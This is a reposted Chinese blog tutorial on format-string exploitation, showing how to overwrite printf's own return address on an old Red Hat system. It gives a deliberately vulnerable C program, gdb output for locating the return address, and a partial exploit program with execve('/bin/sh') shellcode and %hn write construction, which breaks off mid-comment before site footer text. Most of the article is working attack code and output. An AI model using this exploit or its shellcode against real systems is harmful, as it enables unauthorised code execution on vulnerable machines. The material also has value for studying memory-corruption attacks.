覆盖*printf()系列函数本身的返回地址(转)[@more@]
★ 前言 在scut写的<
>中列出了六种比较通用的方法来获得控制权: 1. 覆盖GOT 2. 利用DTORS 3. 利用 C library hooks 4. 利用 atexit 结构(静态编译版本才行) 5. 覆盖函数指针 6. 覆盖jmpbuf's 在这里,不想讨论上面这些东西,请自行参考相关资料 但是有些时候,你只能覆盖0xbfff0000-0xbfffffff的地址空间,因为是format string 被程序做了限制,而程序又调用了exit(0),(也许你没有碰到过这样类似的漏洞程序,但我碰到了,而且比这个要求还更苛刻:( ) 所以利用覆盖GOT、利用DTORS、利用C library hooks这些技术都行不通了,因为这些地址以0x08打头(C library hooks是0x04打头)。覆盖main返回地址也不行。那总该覆盖到点什么东西使我们的shellcode得到控制权吧。 ★ 覆盖格式化函数自己的返回地址 一般的buffer overflow的情况下,是不可能覆盖到象*printf()这种glibc函数的返回地址的,但是format string就给了我们机会,而且个人认为精确度会更高。比如说printf(buf),就利用格式化串的buf来覆盖printf函数的返回地址。 ★ 存在格式化字符串问题的程序 [alert7@redhat62 alert7]# cat vul.c #include int main(int argc,char **argv) { char buf[10000]; bzero(buf,10000); if (argc==2) { strncpy(buf,argv[1],9999); printf(buf); } } [alert7@redhat62 alert7]# gcc -o vul vul.c -g ★ 精确定位几个数据 一查看垃圾数据个数(以4字节为单位) [alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%paaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil)我们看到没有垃圾数据 X=0;如果不明白怎么回事,请查阅<> 二查看format string 地址 [alert7@redhat62 alert7]# gdb vul -q (gdb) disass main Dump of assembler code for function main: 0x8048438 : push %ebp 0x8048439 : mov %esp,%ebp 0x804843b : sub $0x2710,%esp 0x8048441 : push $0x2710 0x8048446 : lea 0xffffd8f0(%ebp),%eax 0x804844c : push %eax 0x804844d : call 0x8048364 0x8048452 : add $0x8,%esp 0x8048455 : cmpl $0x2,0x8(%ebp) 0x8048459 : jne 0x8048487 0x804845b : push $0x270f 0x8048460 : mov 0xc(%ebp),%eax 0x8048463 : add $0x4,%eax 0x8048466 : mov (%eax),%edx 0x8048468 : push %edx 0x8048469 : lea 0xffffd8f0(%ebp),%eax 0x804846f : push %eax 0x8048470 : call 0x8048374 0x8048475 : add $0xc,%esp 0x8048478 : lea 0xffffd8f0(%ebp),%eax 0x804847e : push %eax 0x804847f : call 0x8048354 0x8048484 : add $0x4,%esp 0x8048487 : leave 0x8048488 : ret End of assembler dump. (gdb) b * 0x804847f Breakpoint 1 at 0x804847f: file vul.c, line 8. (gdb) r aaaa Starting program: /home/alert7/overflow/sploit/vul aaaa Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8 8 printf(buf); (gdb) p &buf $1 = (char (*)[10000]) 0xbfffd468 ~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr (gdb) i reg $eax $esp $ebp eax 0xbfffd468 -1073752984 esp 0xbfffd464 -1073752988 ebp 0xbffffb78 -1073742984 (gdb) x/8x 0xbfffd450 0xbfffd450: 0xbfffd468 0xbffffb78 0x08048475 0xbfffd468 0xbfffd460: 0xbffffcbf 0xbfffd468 0x61616161 0x00000000 (gdb) si 0x8048354 in printf () at printf.c:26 26 printf.c: No such file or directory. (gdb) x/8x 0xbfffd450 0xbfffd450: 0xbfffd468 0xbffffb78 0x08048475 0xbfffd468 0xbfffd460: 0x08048484 0xbfffd468 0x61616161 0x00000000 ~~~~~~~~~~~~~~~~~^就这个地址,已经变成了0x08048484,就是该printf函数的返回地址,所以我们也找到了printf函数返回地址存放的地址:0xbfffd460其实0xbfffd464地址的内容就是push %eax下去的东西0xbfffd460为该printf上下文的栈帧的EIP存放地址 三 计算printf函数返回地址存放的地址 现在来用公式表达一下printf函数返回地址存放的地址:(format string addr) -(X*4)-8format string addr是可以暴力猜测的。X更是可以简单的得到,所以这个地址是很精确的。当然不同的系统不同的格式化串等等都会导致*printf系列函数返回地址存放的地址不一样,需要自行研究和纠正公式,这里只是个简单的演示,意在抛砖引玉。 ★ 看看我们的利用程序 [alert7@redhat62 alert7]# cat exp.c /*e*/ #include #include #define DEFAULT_OFFSET 0 #define DEFAULT_ALIGNMENT 0 #define DEFAULT_RETLOC 0xbfffd468-0*4-8 //F-X*4-8 //F为格式化字符串地址 //X为垃圾的个数,X*4也就是 //从esp到F的长度 #define NOP 0x90 char shellcode[] = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; int main(int argc, char *argv[]) { char *ptr; long shell_addr,retloc=DEFAULT_RETLOC; int i,SH1,SH2; char buf[512]; char buf1[5000]; printf("Using RET location address: 0x%x
", retloc); shell_addr = retloc+80; printf("Using Shellcode address: 0x%x
", shell_addr); SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff SH2 = (shell_addr >> 0) & 0xffff;//SH2=0xd3a8 ptr = buf; if ((SH1)<(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8 ) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc) & 0xff; (*ptr++) = ((retloc) >> 8 ) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ; sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 )); /*推荐构造格式化串的时候
本文来自:http://www.linuxpk.com/30748.html-->linux电子图书免费下载和技术讨论基地·上一篇:病毒肆虐信息安全问题不容忽视·下一篇:实验室环境下测试千兆入侵检测系统
|
|
|
|
|
|
| 关于我们 | 联系方式 | 广告合作 | 诚聘英才 | 网站地图 | 网址大全 | 友情链接 | 免费注册 |
|
|
| Copyright © 2004 - 2007 All Rights Reserved
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/10763080/viewspace-970290/
,如需转载,请注明出处,否则将追究法律责任。
|